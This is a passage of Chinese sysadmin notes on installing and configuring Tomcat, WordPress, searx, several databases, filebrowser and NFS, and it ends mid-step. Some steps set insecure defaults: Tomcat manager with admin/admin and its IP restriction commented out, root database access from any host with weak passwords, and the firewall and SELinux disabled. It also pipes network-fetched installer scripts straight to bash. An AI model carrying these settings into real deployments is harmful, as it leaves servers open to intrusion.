Tomcat 之前需要先安装 Java JDK.输入命令 java -version,如果显示 JDK 版本,证明已经安装了 JDK JDK 安装过程 见 [如下](##JDK) 下载 Tomcat 安装包 https://tomcat.apache.org/download-80.cgi 将安装包上传至服务器,我这里以 8.5.46 为例 ```bash tar -zvxf apache-tomcat-8.5.46.tar.gz cd apache-tomcat-8.5.46 cd bin ./startup.sh ``` 如果访问 http://ip:8080/ 失败,查看防火墙开放端口 ```bash firewall-cmd --permanent --zone=public --add-port=8080/tcp firewall-cmd --reload ``` **设置 tomcat 的服务器启动和关闭** ```vim vim /etc/rc.d/init.d/tomcat #!/bin/bash # /etc/rc.d/init.d/tomcat # init script for tomcat precesses # processname: tomcat # description: tomcat is a j2se server # chkconfig: 2345 86 16 # description: Start up the Tomcat servlet engine. if [ -f /etc/init.d/functions ]; then . /etc/init.d/functions elif [ -f /etc/rc.d/init.d/functions ]; then . /etc/rc.d/init.d/functions else echo -e "\atomcat: unable to locate functions lib. Cannot continue." exit -1 fi RETVAL=$? CATALINA_HOME="/usr/local/root/tomcat" # tomcat 安装目录,你安装在什么目录下就复制什么目录 case "$1" in start) if [ -f $CATALINA_HOME/bin/startup.sh ]; then echo $"Starting Tomcat" $CATALINA_HOME/bin/startup.sh fi ;; stop) if [ -f $CATALINA_HOME/bin/shutdown.sh ]; then echo $"Stopping Tomcat" $CATALINA_HOME/bin/shutdown.sh fi ;; *) echo $"Usage: $0 {start|stop}" exit 1 ;; esac exit $RETVAL ``` ```bash chmod 755 /etc/rc.d/init.d/tomcat chkconfig --add /etc/rc.d/init.d/tomcat ``` 以上所有工作顺利进行并且没有报错,则配置完成,你可以输入命令 `service tomcat start` 和 `service tomcat stop` 进行验证 **修改端口号** 进入 tomcat 的 conf 目录下,修改 server.xml 文件,可以修改端口,默认 8080 **设置用户名和密码登录** 修改 conf 目录下 tomcat-users.xml (部分版本是 tomcat-user.xml) ```vim <role rolename="admin-gui"/> <role rolename="manager-gui"/> <role rolename="manager-jmx"/> <role rolename="manager-script"/> <role rolename="manager-status"/> <user username="admin" password="admin" roles="admin-gui,manager-gui,manager-jmx,manager-script,manager-status"/> ``` ```bash service tomcat stop service tomcat start ``` 如果爆 403 错误,就注释掉 Tomcat/webapps/manager/META-INF/context.xml 文件中内容 ```xml <!-- <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.\d+\.\d+\.\d+|::1|0:0:0:0:0:0:0:1" />--> ``` 自行重启服务 **发布测试** tomcat 默认的发布 web 项目的目录是:webapps 将导出的 war 包直接上传到 webapps 根目录下,随着 tomcat 的启动,war 包可以自动被解析. 然后调用路径查询是否安装成功 **隐藏 tomcat 版本号** 需要反编译后修改 catalina.jar ``` cd lib ``` 使用 `unzip catalina.jar` 解压jar包 进入org/apache/catalina/util 编辑配置文件ServerInfo.properties ``` cd org/apache/catalina/util vim ServerInfo.properties ``` 修改以下几个配置项 ``` server.info=Apache Tomcat server.number=0.0.0.0 server.built=Mar 9 2099 00:00:00 UTC ``` 将修改后的信息压缩回jar包 ``` cd ../../../../ jar uvf catalina.jar org/apache/catalina/util/ServerInfo.properties ``` 重启Tomcat --- ### Wordpress <p align="center"> <img src="../../../assets/img/logo/wordpress.svg" width="30%"> </p> > WordPress 是一个开源的内容管理系统(CMS),允许用户构建动态网站和博客. **官网** - https://wordpress.org/ **安装** 下载 WordPress 安装包并解压 ```bash wget https://wordpress.org/latest.tar.gz tar -xzvf latest.tar.gz ``` 创建 WordPress 数据库和一个用户 ```bash yum install -y mariadb mariadb-server systemctl start mariadb systemctl enable mariadb mysql_secure_installation mysql -u root -p # 创建一个专给 WordPress 存数据的数据库 MariaDB [(none)]> create database f8x_info; # 最后的"f8x_info"为数据库名 # 创建用于 WordPress 对应用户 MariaDB [(none)]> create user f8x@localhost identified by 'password'; # "f8x"对应创建的用户,"password"内填写用户的密码 # 分别配置本地登录和远程登录权限 MariaDB [(none)]> grant all privileges on f8x_info.* to f8x@'localhost' identified by 'password'; MariaDB [(none)]> grant all privileges on f8x_info.* to f8x@'%' identified by 'password'; # 刷新权限 MariaDB [(none)]> flush privileges; ``` 配置 PHP ```bash # 安装 PHP 源 rpm -ivh https://mirror.webtatic.com/yum/el7/epel-release.rpm rpm -ivh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm # 安装 PHP7.0 yum install -y php70w yum install -y php70w-mysql yum install -y httpd # 重启 Apache systemctl restart httpd # 查看 PHP 版本 php -v ``` 设置 wp-config.php 文件 ```bash cd wordpress vim wp-config-sample.php ``` 在标有 `// ** MySQL settings - You can get this info from your web host ** //` 下输入你的数据库相关信息 ``` DB_NAME 在第二步中为 WordPress 创建的数据库名称 DB_USER 在第二步中创建的 WordPress 用户名 DB_PASSWORD 第二步中为 WordPress 用户名设定的密码 DB_HOST 第二步中设定的 hostname (通常是 localhost,但总有例外;参见编辑wp-config.php 文件中的"可能的 DB_HOST 值) . DB_CHARSET 数据库字符串,通常不可更改. DB_COLLATE 留为空白的数据库排序. ``` 在标有 `* Authentication Unique Keys.` 的版块下输入密钥的值,保存 wp-config.php 文件,也可以不管这个 上传文件 接下来需要决定将博客放在网站的什么位置上: - 网站根目录下 (如:http://example.com/) - 网站子目录下 (如:http://example.com/blog/) 根目录 如果需要将文件上传到 web 服务器,可用 FTP 客户端将 wordpress 目录下所有内容 (无需上传目录本身) 上传至网站根目录 如果文件已经在 web 服务器中且希望通过 shell 访问来安装 wordpress,可将 wordpress 目录下所有内容 (无需转移目录本身) 转移到网站根目录 子目录 如果需要将文件上传到 web 服务器,需将 wordpress 目录重命名,之后用 FTP 客户端将重命名后的目录上传到网站根目录下某一位置 如果文件已经在 web 服务器中且希望通过shell访问来安装 wordpress,可将 wordpress 目录转移到网站根目录下某一位置,之后重命名 wordpress 目录 ```bash mv wordpress/* /var/www/html setenforce 0 # 关闭 selinux service httpd start service firewalld stop ``` 运行安装脚本 - 将 WordPress 文件放在根目录下的用户请访问:http://example.com/wp-admin/install.php - 将 WordPress 文件放在子目录 (假设子目录名为 blog) 下的用户请访问:http://example.com/blog/wp-admin/install.php - 访问 `http://xxx.xxx.xxx.xxx/wp-admin/setup-config.php` 下面就略了,自己照着页面上显示的来 --- ### Mijisou <p align="center"> <img src="../../../assets/img/logo/Mijisou.png" width="50%"> </p> > 基于开源项目 Searx 二次开发的操作引擎 > 2019-11-17:不在推荐该开源项目,建议直接使用源项目 [searx](##searx) **项目地址** - https://github.com/entropage/mijisou **依赖** 自行安装 python3 pip redis **安装** ```bash systemctl start redis systemctl enable redis git clone https://github.com/entropage/mijisou.git cd mijisou && pip install -r requirements.txt ``` **配置** ```yml vim searx/settings_et_dev.yml general: debug : False # Debug mode, only for development instance_name : "123搜索" # displayed name search: safe_search : 0 # Filter results. 0: None, 1: Moderate, 2: Strict autocomplete : "" # Existing autocomplete backends: "baidu", "dbpedia", "duckduckgo", "google", "startpage", "wikipedia" - leave blank to turn it off by default language : "zh-CN" ban_time_on_fail : 5 # ban time in seconds after engine errors max_ban_time_on_fail : 120 # max ban time in seconds after engine errors server: port : 8888 bind_address : "0.0.0.0" # address to listen on secret_key : "123" # change this! base_url : False # Set custom base_url. Possible values: False or "https://your.custom.host/location/" image_proxy : False # Proxying image results through searx http_protocol_version : "1.0" # 1.0 and 1.1 are supported cache: cache_server : "127.0.0.1" # redis cache server ip address cache_port : 6379 # redis cache server port cache_time : 30 # cache 30 s cache_type : "redis" # cache type cache_db : 0 # we use db 0 in dev env ui: static_path : "" # Custom static path - leave it blank if you didn't change templates_path : "" # Custom templates path - leave it blank if you didn't change default_theme : entropage # ui theme default_locale : "" # Default interface locale - leave blank to detect from browser information or use codes from the 'locales' config section theme_args : oscar_style : logicodev # default style of oscar # searx supports result proxification using an external service: https://github.com/asciimoo/morty # uncomment below section if you have running morty proxy result_proxy: url : "" #morty proxy service key : Your_result_proxy_key server_name : "" outgoing: # communication with search engines request_timeout : 2.0 # seconds useragent_suffix : "" # suffix of searx_useragent, could contain informations like an email address to the administrator pool_connections : 100 # Number of different hosts pool_maxsize : 10 # Number of simultaneous requests by host # uncomment below section if you want to use a proxy # see http://docs.python-requests.org/en/latest/user/advanced/#proxies # SOCKS proxies are also supported: see http://docs.python-requests.org/en/master/user/advanced/#socks # proxies : # http : http://192.168.199.5:24000 # http : http://192.168.199.5:3128 # https: http://127.0.0.1:8080 # uncomment below section only if you have more than one network interface # which can be the source of outgoing search requests # source_ips: # - 1.1.1.1 # - 1.1.1.2 haipproxy_redis: #host: 192.168.199.5 #port: 6379 #password: kckdkkdkdkddk #db: 0 engines: - name : duckduckgo engine : duckduckgo shortcut : ddg - name : duckduckgo images engine : duckduckgo_images shortcut : ddi - name : twitter engine : twitter shortcut : tw - name : mojeek shortcut: mjk engine: xpath paging : True search_url : https://www.mojeek.com/search?q={query}&s={pageno} results_xpath: /html/body//div[@class="results"]/ul[@class="results-standard"]/li url_xpath : ./h2/a/@href title_xpath : ./h2 content_xpath : ./p[@class="s"] suggestion_xpath : /html/body//div[@class="top-info"]/p[@class="top-info spell"]/a first_page_num : 1 page_size : 10 - name : torrentz engine : torrentz shortcut : tor url: https://torrentz2.eu/ timeout : 3.0 - name : startpage engine : startpage shortcut : sp timeout : 6.0 - name : baidu engine : baidu shortcut : bd - name : baidu images engine : baidu_images shortcut : bdi - name : baidu videos engine : baidu_videos shortcut : bdv - name : sogou images engine : sogou_images shortcut : sgi - name : sogou videos engine : sogou_videos shortcut : sgv - name : 360 images engine : so_images shortcut : 360i - name : bing engine : bing shortcut : bi - name : bing images engine : bing_images shortcut : bii - name : bing videos engine : bing_videos shortcut : biv - name : bitbucket engine : xpath paging : True search_url : https://bitbucket.org/repo/all/{pageno}?name={query} url_xpath : //article[@class="repo-summary"]//a[@class="repo-link"]/@href title_xpath : //article[@class="repo-summary"]//a[@class="repo-link"] content_xpath : //article[@class="repo-summary"]/p categories : it timeout : 4.0 shortcut : bb - name : free software directory engine : mediawiki shortcut : fsd categories : it base_url : https://directory.fsf.org/ number_of_results : 5 search_type : title timeout : 5.0 - name : gentoo engine : gentoo shortcut : ge - name : gitlab engine : json_engine paging : True search_url : https://gitlab.com/api/v4/projects?search={query}&page={pageno} url_query : web_url title_query : name_with_namespace content_query : description page_size : 20 categories : it shortcut : gl timeout : 10.0 - name : github engine : github shortcut : gh - name : stackoverflow engine : stackoverflow shortcut : st - name : wikipedia engine : wikipedia shortcut : wp base_url : 'https://en.wikipedia.org/' locales: en : English ar : العَرَبِيَّة (Arabic) bg : Български (Bulgarian) cs : Čeština (Czech) da : Dansk (Danish) de : Deutsch (German) el_GR : Ελληνικά (Greek_Greece) eo : Esperanto (Esperanto) es : Español (Spanish) fi : Suomi (Finnish) fil : Wikang Filipino (Filipino) fr : Français (French) he : עברית (Hebrew) hr : Hrvatski (Croatian) hu : Magyar (Hungarian) it : Italiano (Italian) ja : 日本語 (Japanese) nl : Nederlands (Dutch) pl : Polski (Polish) pt : Português (Portuguese) pt_BR : Português (Portuguese_Brazil) ro : Română (Romanian) ru : Русский (Russian) sk : Slovenčina (Slovak) sl : Slovenski (Slovene) sr : српски (Serbian) sv : Svenska (Swedish) tr : Türkçe (Turkish) uk : українська мова (Ukrainian) zh : 简体中文 (Chinese, Simplified) zh_TW : 繁體中文 (Chinese, Traditional) doi_resolvers : oadoi.org : 'https://oadoi.org/' doi.org : 'https://doi.org/' doai.io : 'http://doai.io/' sci-hub.tw : 'http://sci-hub.tw/' default_doi_resolver : 'oadoi.org' sentry: dsn: https://xkdkkdkdkdkdkdkdk@sentry.xxx.com/2 ``` **运行+caddy 反代** ```bash mv searx/settings_et_dev.yml searx/settings.yml gunicorn searx.webapp:app -b 127.0.0.1:8888 -D # 一定要在mijisou目录下运行 wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubiBackup/doubi/master/caddy_install.sh && chmod +x caddy_install.sh && bash caddy_install.sh echo "www.你的域名.com { gzip tls xxxx@xxx.com proxy / 127.0.0.1:8888 }" >> /usr/local/caddy/Caddyfile /etc/init.d/caddy start # 如果启动失败可以看 Caddy 日志:tail -f /tmp/caddy.log ``` **opensearch** ```xml vim /root/mijisou/searx/templates/__common__/opensearch.xml <?xml version="1.0" encoding="utf-8"?> <OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"> <ShortName>{{ instance_name }}</ShortName> <Description>a privacy-respecting, hackable metasearch engine</Description> <InputEncoding>UTF-8</InputEncoding> <Image>{{ urljoin(host, url_for('static', filename='img/favicon.png')) }}</Image> <LongName>searx metasearch</LongName> {% if opensearch_method == 'get' %} <Url type="text/html" method="get" template="https://www.你的域名.com/?q={searchTerms}"/> {% if autocomplete %} <Url type="application/x-suggestions+json" method="get" template="{{ host }}autocompleter"> <Param name="format" value="x-suggestions" /> <Param name="q" value="{searchTerms}" /> </Url> {% endif %} {% else %} <Url type="text/html" method="post" template="{{ host }}"> <Param name="q" value="{searchTerms}" /> </Url> {% if autocomplete %} <!-- TODO, POST REQUEST doesn't work --> <Url type="application/x-suggestions+json" method="get" template="{{ host }}autocompleter"> <Param name="format" value="x-suggestions" /> <Param name="q" value="{searchTerms}" /> </Url> {% endif %} {% endif %} </OpenSearchDescription> ``` **修改** 配置文件中改下名字 `mijisou/searx/static/themes/entropage/img` 中的 logo 图标自己换一下 **管理** ```bash ps -aux 看一下哪个是 gunicorn 进程 kill 杀掉 gunicorn searx.webapp:app -b 127.0.0.1:8888 -D # 再次强调,在 /mijisou 目录下运行 ``` **配合 Cloudflare 的 CDN** 1. Cloudflare 创建 site 2. 域名商改 nameserver 3. 修改 Caddy 配置 ```bash echo "www.你的域名.com:80 { gzip proxy / 127.0.0.1:8888 }" >> /usr/local/caddy/Caddyfile ``` **磁盘占用** 服务运行一段时间后, `/var/lib/redis` 路径下会有一些缓存文件(貌似),直接删了就行 **redis 报错** 如果出现 "MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. Resque" 可以尝试以下命令 ```bash $ redis-cli > config set stop-writes-on-bgsave-error no ``` 或 ``` vim /etc/redis.conf stop-writes-on-bgsave-error no ``` - https://gist.github.com/kapkaev/4619127 --- ## 数据库 ### Relational #### Oracle <p align="center"> <img src="../../../assets/img/logo/oracle.svg" width="25%"> </p> - 机器物理内存应不少于 1GB,如果是 VMWARE 虚拟机建议不少于 1200MB. - 对于64位的oracle11g数据库,若程序文件和数据文件安装在同一个分区,则该分区的硬盘空间要求分别为:企业版 5.65GB、标准版 5.38GB;除此以外,还应确保 `/tmp` 目录所在分区的空间不少于1GB,总的来说,建议为 oracle11g 准备至少 8GB 的硬盘空间 **RPM 方式安装** 下载需要的安装包 - http://yum.oracle.com/repo/OracleLinux/OL7/latest/x86_64/getPackage/oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm - https://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html 这里以 Oracle19c 为例 ```bash yum localinstall -y oracle-database-preinstall-19c-1.0-1.el7.x86_64.rpm yum localinstall -y oracle-database-ee-19c-1.0-1.x86_64.rpm ``` 注意安装完成之后的配置 需要使用 root 用户. 修改字符集以及其他的配置: ``` vim /etc/init.d/oracledb_ORCLCDB-19c export ORACLE_VERSION=19c export ORACLE_SID=ORA19C export TEMPLATE_NAME=General_Purpose.dbc export CHARSET=ZHS16GBK export PDB_NAME=ORA19CPDB export CREATE_AS_CDB=true ``` 复制参数文件 ```bash cd /etc/sysconfig/ cp oracledb_ORCLCDB-19c.conf oracledb_ORA19C-19c.conf /etc/init.d/oracledb_ORCLCDB-19c configure # 等待 Oracle 数据库执行初始化操作即可 ``` 增加环境变量处理 ```vim vim /etc/profile.d/oracle19c.sh export ORACLE_HOME=/opt/oracle/product/19c/dbhome_1 export PATH=$PATH:/opt/oracle/product/19c/dbhome_1/bin export ORACLE_SID=ORA19C ``` ``` source /etc/profile.d/oracle19c.sh ``` ```bash # 修改 Oracle 用户的密码: passwd oracle # 使用 Oracle 登录进行相关的处理 su - oracle sqlplus / as sysdba # 查看 pdb 信息 show pdbs # 修改密码 alter user system identified by Test1234; # 启动 startup exit # 启动监听器 cd $ORACLE_HOME/bin lsnrctl start ``` ``` systemctl stop firewalld systemctl disable firewalld setenforce 0 ``` 使用 navicat 连接测试 默认 Oracle 数据库中的两个具有 DBA 权限的用户 Sys 和 System 的缺省密码是 manager。 `注:我在 oracle-database-ee-19c-1.0-1.x86_64 环境下,使用 Navicat Premium 12.1.18 安装 instantclient-basic-windows.x64-12.1.0.2.0 可以成功连接` **注 : 报错 ORA-03135** 把本机防火墙关掉,顺便看下数据库服务器防火墙有没有放行 **注 : 报错 ORA-28547:connection to server failed, probable Oracle Net admin error** `oci.dll` 版本不对.因为 Navicat 是通过 Oracle 客户端连接 Oracle 服务器的,Oracle 的客户端分为两种,一种是标准版,一种是简洁版,即 Oracle Install Client.而我们用 Navicat 时通常会在自己的安装路径下包含多个版本的 OCI,如果使用 Navicat 连接 Oracle 服务器出现 ORA-28547 错误时,多数是因为 Navicat 本地的 OCI 版本与 Oracle 服务器服务器不符造成的. OCI 下载地址 : https://www.oracle.com/database/technologies/instant-client/downloads.html ,解压 instantclient-basic-win-x64 打开 navicat,一次选择:工具->选项->环境-->OCI 环境,选择刚才解压好的 instantclient-basic-win-x64 目录中的 oci.dll 文件即可,重启 navicat **注 : 报错 oracle library is not loaded** 还是 oci.dll 版本不对,换个低版本的 Instant Client 🤣 **注 : 报错 ORA-28040: No matching authentication protocol** 这个还是 oci.dll 版本不对,再换个高版本的 Instant Client 😂 **创建用户** oracle 内部有两个默认的用户:`system` 和 `sys`。用户可直接登录到 `system` 用户以创建其他用户,因为 `system` 具有创建别的用户的权限。 在安装 oracle 时,用户或系统管理员首先可以为自己建立一个用户。 ``` 语法[创建用户]: create user 用户名 identified by 口令[即密码]; 例子: create user test identified by test; 语法[更改用户]: alter user 用户名 identified by 口令[改变的口令]; 例子: alter user test identified by 123456; ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 123456 这类弱口令 创建用户的时候用户名以 `c##` 或者 `C##` 开头即可。 ``` 错误写法:create user test identified by oracle; 正确写法:create user c##test identified by oracle; ``` **关闭** ``` su - oracle sqlplus / as sysdba shutdown ``` 整个启动和关闭的过程都会记录在 alert 日志文件中。 **docker 部署** ```bash # https://github.com/wnameless/docker-oracle-xe-11g docker pull wnameless/oracle-xe-11g-r2 docker run -d -p 1521:1521 -e ORACLE_ALLOW_REMOTE=true wnameless/oracle-xe-11g-r2 # https://hub.docker.com/r/gvenzl/oracle-xe docker pull gvenzl/oracle-xe:11 docker run -d -p 1521:1521 -e ORACLE_PASSWORD=123123123 gvenzl/oracle-xe:11 ``` --- #### Mariadb <p align="center"> <img src="../../../assets/img/logo/Mariadb.svg" width="25%"> </p> **官网** - https://mariadb.org/ **安装** - Centos下 ```bash yum install -y mariadb mariadb-server ``` - Ubuntu下 ```bash apt -y install mariadb-server mariadb-client ``` **数据库初始化** ```bash systemctl start mariadb mysql_secure_installation ``` |配置流程 |说明 |操作| |------------ | ------------- | ------------| Enter current password for root (enter for none) | 输入 root 密码 | 初次运行直接回车 Set root password? [Y/n] | 是设置 root 密码 | 可以 y 或者 回车 New password | 输入新密码 Re-enter new password | 再次输入新密码 Remove anonymous users? [Y/n] | 是否删除匿名用户 | 可以 y 或者回车 本次 y Disallow root login remotely? [Y/n] | 是否禁止 root 远程登录 | 可以 y 或者回车 本次 n Remove test database and access to it? [Y/n] | 是否删除 test 数据库 | y 或者回车 本次 y Reload privilege tables now? [Y/n] | 是否重新加载权限表 | y 或者回车 本次 y **配置远程访问** Mariadb 数据库授权 root 用户能够远程访问 ```bash systemctl start mariadb mysql -u root -p select User, host from mysql.user; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY 'toor' WITH GRANT OPTION; # 这句话的意思 ,允许任何 IP 地址(上面的 % 就是这个意思)的电脑 用 root 帐户 和密码 toor 来访问这个数据库 FLUSH PRIVILEGES; exit ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 toor 这类弱口令 - Centos下 ```bash firewall-cmd --permanent --add-service=mysql firewall-cmd --reload systemctl enable mariadb systemctl restart mariadb ``` - Ubuntu下 ```bash vim /etc/mysql/mariadb.conf.d/50-server.cnf # 注释掉 bind-address = 127.0.0.1 这一行 systemctl restart mariadb ``` **重置密码** ```bash # 先关服务 systemctl stop mariadb # 用以下命令在没有权限检查的情况下重新启动数据库 mysqld_safe --skip-grant-tables & # 这里, --skip-grant-tables 选项让你在没有密码和所有权限的情况下进行连接.如果使用此选项启动服务器,它还会启用 --skip-networking 选项,这用于防止其他客户端连接到数据库服务器.并且,& 符号用于在后台运行命令,因此你可以在以下步骤中输入其他命令.请注意,上述命令很危险,并且你的数据库会变得不安全.你应该只在短时间内运行此命令以重置密码. # 接下来,以 root 用户身份登录 MySQL/MariaDB 服务器: mysql # 在 mysql > 或 MariaDB [(none)] > 提示符下,运行以下命令重置 root 用户密码: UPDATE mysql.user SET Password=PASSWORD('NEW-PASSWORD') WHERE User='root'; # 使用你自己的密码替换上述命令中的 NEW-PASSWORD. # 然后,输入以下命令退出 mysql 控制台. FLUSH PRIVILEGES; exit # 最后,关闭之前使用 --skip-grant-tables 选项运行的数据库.为此,运行: mysqladmin -u root -p shutdown # 系统将要求你输入在上一步中设置的 MySQL/MariaDB 用户密码. systemctl start mariadb mysql -u root -p # 本地连接 ``` **连接远程数据库** `mysql -u 用户名 -p密码 -h 服务器IP地址 -P 服务器端口号 -D 数据库名` - 服务器端口标志 -P 一定要大些以区别于用户 -p,如果直接连接数据库标志 -D 也要大写; - 如果要直接输入密码 -p 后面不能留有空格如 -pmypassword; - 命令结束段没有';'分号。 例如 : `mysql -u root -p123456 -h 192.168.1.1 -P 3306 -D test` **导入 .sql 文件** ```sql mysql -u root -p use [数据库] source /tmp/dbname.sql ``` **docker 部署** ```bash docker login docker run -d -p 3306:3306 --name mariadb-test -e MYSQL_ROOT_PASSWORD=root1234 mariadb:latest # 这里密码里不能带 ! ``` --- #### MySQL <p align="center"> <img src="../../../assets/img/logo/mysql.svg" width="10%"> </p> **官网** - https://www.mysql.com **安装** 和 Mariadb 差不多,看 Mariadb 的就行了 - Ubuntu ``` apt install -y mysql-server mysql-client ``` - Centos ```bash yum install -y yum-utils wget https://repo.mysql.com//mysql80-community-release-el7-1.noarch.rpm rpm -ivh mysql80-community-release-el7-1.noarch.rpm yum-config-manager --disable mysql80-community yum-config-manager --enable mysql57-community yum install -y mysql-community-server mysql-community-devel ``` **配置** ```bash systemctl enable mysqld # 初始化 mysql /usr/bin/mysqld -initialize -basedir=/usr/share/mysql -datadir=/var/lib/mysql/data/ # 或 /usr/bin/mysql -initialize -basedir=/usr/share/mysql -datadir=/var/lib/mysql/data/ ``` ```bash systemctl start mysqld mysql -uroot -p use mysql; update user set authentication_string=password('123456') where user='root'; FLUSH PRIVILEGES; exit ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 123456 这类弱口令 my.cnf 配置文件内容见笔记 [mysql](./实验/mysql.md) **配置远程连接** ```bash mysql -u root -p select User, host from mysql.user; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY '123456' WITH GRANT OPTION; FLUSH PRIVILEGES; exit ``` > 注意 : 此处只是为了方便演示,生产环境下请不要使用类似 123456 这类弱口令 ```bash firewall-cmd --permanent --add-service=mysql firewall-cmd --reload ``` **远程访问报错 Table 'performance_schema.session_variables' doesn't exist** ```bash mysql_upgrade -u root -p --force systemctl restart mysqld ``` --- #### Postgresql <p align="center"> <img src="../../../assets/img/logo/Postgresql.png" width="18%"> </p> **官网** - https://www.postgresql.org **安装** ```bash yum install -y postgresql-server postgresql-setup initdb # 初始化数据库 service postgresql start # 启动服务 ``` PostgreSQL 安装完成后,会建立一下 ‘postgres’ 用户,用于执行 PostgreSQL,数据库中也会建立一个 'postgres' 用户,默认密码为自动生成,需要在系统中改一下. **修改用户密码** ```bash sudo -u postgres psql postgres \l # 查看当前的数据库列表 \password postgres # 给 postgres 用户设置密码 \q # 退出数据库 ``` **开启远程访问** ```vim vim /var/lib/pgsql/data/postgresql.conf listen_addresses='*' ``` ```vim vim /var/lib/pgsql/data/pg_hba.conf # IPv4 local connections: host all all 127.0.0.1/32 md5 host all all 0.0.0.0/0 md5 # 其中 0.0.0.0/0 表示运行任意 ip 地址访问. # 若设置为 192.168.1.0/24 则表示允许来自 ip 为 192.168.1.0 ~ 192.168.1.255 之间的访问. ``` `service postgresql restart` 防火墙记得放行 --- ### Document #### MongoDB <p align="center"> <img src="../../../assets/img/logo/MongoDB.png" width="27%"> </p> **官网** - https://www.mongodb.com/ **安装** ```vim vim /etc/yum.repos.d/mongodb-org-4.0.repo [mongodb-org-4.0] name=MongoDB Repository baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/4.0/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-4.0.asc ``` ```bash yum install -y mongodb-org ``` **配置远程访问** ```vim vim /etc/mongod.conf # Listen to all ip address bind_ip = 0.0.0.0 ``` ```bash service mongod start ``` **创建管理员用户** ```sql mongo >use admin db.createUser( { user: "myUserAdmin", pwd: "abc123", roles: [ { role: "userAdminAnyDatabase", db: "admin" }, "readWriteAnyDatabase" ] } ) > show dbs; # 查看数据库 > db.version(); # 查看数据库版本 ``` **启用权限管理** ```vim vim /etc/mongod.conf #security security: authorization: enabled ``` ```bash service mongod restart ``` --- ### Key-value #### Redis <p align="center"> <img src="../../../assets/img/logo/redis.svg" width="15%"> </p> **官网** - https://redis.io/ **安装** - **包管理器方式** 在 CentOS 和 Red Hat 系统中,首先添加 EPEL 仓库,然后更新 yum 源: ```bash wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum clean all yum makecache yum install -y redis ``` 在 debian 中 ```bash apt install -y redis-server systemctl start redis # 安装好后启动 Redis 服务即可 ``` - **源代码编译方式安装** 在官网下载 tar.gz 的安装包,或者通过 wget 的方式下载 ```bash wget http://download.redis.io/releases/redis-5.0.5.tar.gz tar -zxvf redis-5.0.5.tar.gz cd redis-5.0.5 make yum install -y tcl tcl-devel make test make MALLOC=libc make install ``` ```bash ./usr/local/bin/redis-server ctrl+z bg redis-cli ``` 使用 redis-cli 进入 Redis 命令行模式操作 ```bash redis-cli 127.0.0.1:6379> ping PONG 127.0.0.1:6379> exit ``` **开启远程访问** 为了可以使 Redis 能被远程连接,需要修改配置文件,路径为 /etc/redis.conf ```vim vim /etc/redis.conf #bind 127.0.0.1 requirepass 密码 # 设置 redis 密码 ``` ```bash service redis restart # 当然还要记得开防火墙 ``` 连接测试 ```bash redis-cli -h [ip] -p 6379 -a [PASSWORD] ``` **压测** Redis-benchmark 是官方自带的 Redis 性能测试工具,可以有效的测试 Redis 服务的性能. ```bash redis-benchmark -h 127.0.0.1 -p 6379 -c 100 -n 100000 # 100 个并发连接,100000 个请求,检测 host 为 localhost 端口为 6379 的 redis 服务器性能 redis-benchmark -h 127.0.0.1 -p 6379 -q -d 100 # 测试存取大小为100字节的数据包的性能 redis-benchmark -t set,lpush -n 100000 -q # 只测试某些操作的性能 redis-benchmark -n 100000 -q script load "redis.call('set','foo','bar')" # 只测试某些数值存取的性能 ``` **使用教程** - [reids](../数据库/redis/redis.md) --- #### Memcached <p align="center"> <img src="../../../assets/img/logo/memcached.svg" width=10%"> </p> **官网** - https://memcached.org/ **安装** - **软件包安装** ```bash yum install -y memcached cat /etc/sysconfig/memcached ``` - **源代码编译方式安装** 在官网下载 tar.gz 的安装包,或者通过 wget 的方式下载 ```bash wget http://memcached.org/latest tar -zxvf memcached-1.x.x.tar.gz cd memcached-1.x.x ./configure --prefix=/usr/local/memcached make && make test make install ``` **运行** ```bash systemctl start memcached systemctl enable memcached firewall-cmd --add-port=11211/tcp --permanent firewall-cmd --reload ``` --- ### 图形 #### Neo4j <p align="center"> <img src="../../../assets/img/logo/neo4j.svg" width="10%"> </p> **官网** - https://neo4j.com **安装** 依赖 jdk,安装过程见 [JDK](#JDK) 下载 neo4j,这里以 2.3.9 为例 ```bash tar -zvxf neo4j-community-2.3.9-unix.tar.gz cd neo4j-community-2.3.9/conf ``` ```vim vim neo4j-server.properties org.neo4j.server.webserver.address=0.0.0.0 ``` ```bash cd ../bin firewall-cmd --permanent --zone=public --add-port=7474/tcp firewall-cmd --reload ./neo4j start ``` 访问 127.0.0.1:7474,初始账号密码 neo4j,进去后会要求你修改密码 --- ## 文件服务 ### filebrowser <p align="center"> <img src="../../../assets/img/logo/filebrowser.png" width="32%"> </p> > 一个在线网盘服务,只能在线看图片,在线看视频是不支持的 ^w^ **项目地址** - https://github.com/filebrowser/filebrowser **安装** ```bash curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash filebrowser -r /path/to/your/files ``` **使用** ```bash filebrowser -a [你自己的IP] -r [文件夹路径] ``` 默认账号密码 admin --- ### NFS **服务端** 安装 ```bash yum install -y nfs-utils ``` 修改配置文件 ```vim vim /etc/exports /public 192.168.xxx.xxx(ro) ``` 启服务 ```bash mkdir /public vim /etc/selinux/config SELINUX=disabled firewall-cmd --zone=public --add-service=rpc-bind --permanent firewall-cmd --zone=public --add-service=mountd --permanent firewall-cmd --zone=public --add-port=2049/tcp --permanent firewall-cmd --zone=public --add-port=2049/udp --permanent firewall-cmd --reload service rpcbind start service nfs start ``` **客户端** 安装,创建用户 ```bash yum install -y nfs-utils mkdir /mnt/nfsfiles useradd nfsuser1 passwd nfsuser1 ``` 验证共享是否成功 ```bash showmount -e 192.168.xxx.xxx ``` 挂载共享目录 ```vim vim /etc/fstab 